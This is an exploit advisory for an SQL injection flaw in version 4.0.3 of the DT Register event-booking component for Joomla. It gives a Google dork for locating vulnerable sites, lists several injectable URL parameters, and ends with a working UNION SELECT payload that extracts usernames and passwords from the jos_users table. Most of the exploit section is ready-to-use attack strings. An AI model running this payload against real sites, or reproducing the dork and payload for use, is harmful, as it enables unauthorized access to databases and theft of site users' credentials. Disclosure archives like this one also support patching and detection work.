Joomla DT Register 4.0.3 SQL Injection

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# Exploit Title : Joomla DT Register Components 4.0.3 SQL Injection  
# Author [ Discovered By ] : KingSkrupellos  
# Team : Cyberizm Digital Security Army  
# Date : 14/02/2019  
# Vendor Homepage : dthdevelopment.com  
# Software Download Link : joomlart.com/member/downloads/dthdevelopment/dt-register/dt-register-component  
github.com/reeleis/ohiocitycycles/tree/master/components/com_dtregister  
# Software Information Link : extensions.joomla.org/extension/dt-register/  
# Software Version : 4.0.3 and previous versions.  
# Tested On : Windows and Linux  
# Category : WebApps  
# Exploit Risk : Medium  
# Google Dorks : inurl:''/index.php?option=com_dtregister''  
# Vulnerability Type : CWE-89 [ Improper Neutralization of   
Special Elements used in an SQL Command ('SQL Injection') ]  
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968  
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/  
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos  
  
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# Description about Software :  
***************************  
DT Register is the most powerful Joomla extension for event registration.   
  
The Joomla event booking extension provides all needed features to successfully   
  
promote, book, manage and monetize any types of events your   
  
organization may offer to your customers.  
  
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# Impact :  
***********  
Joomla DT Register 4.0.3 and other versions -   
  
component for Joomla is prone to an SQL-injection vulnerability because it   
  
fails to sufficiently sanitize user-supplied data before using it in an SQL query.   
  
Exploiting this issue could allow an attacker to compromise the application,   
  
access or modify data, or exploit latent vulnerabilities in the underlying database.  
  
A remote attacker can send a specially crafted request to the vulnerable application   
  
and execute arbitrary SQL commands in application`s database.  
  
Further exploitation of this vulnerability may result in unauthorized data manipulation.  
  
An attacker can exploit this issue using a browser.  
  
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# SQL Injection Exploit :  
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/index.php?option=com_dtregister=[SQL Injection]  
  
/index.php?option=com_dtregister&Itemid=[SQL Injection]  
  
/index.php?option=com_dtregister&eventId=[SQL Injection]  
  
/index.php?option=com_dtregister&controller=event&task=terms&format=raw&eventId=[SQL Injection]  
  
/index.php/component/dtregister/?eventId=[ID-NUMBER]&task=registrant&controller=event&Itemid=[SQL Injection]  
  
/index.php?option=com_dtregister&view=event&layout=list&controller=event&task=events&Itemid=[SQL Injection]  
  
/index.php?option=com_dtregister&controller=location&task=show&id=[ID-NUMBER]&tmpl=component&Itemid=[SQL Injection]  
  
# Example SQL Injection Exploit Payload :  
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/index.php?option=com_dtregister&eventId=-12 UNION SELECT concat(username,0x3a,password) FROM jos_users&task=pay_options&Itemid=138  
  
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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team   
  
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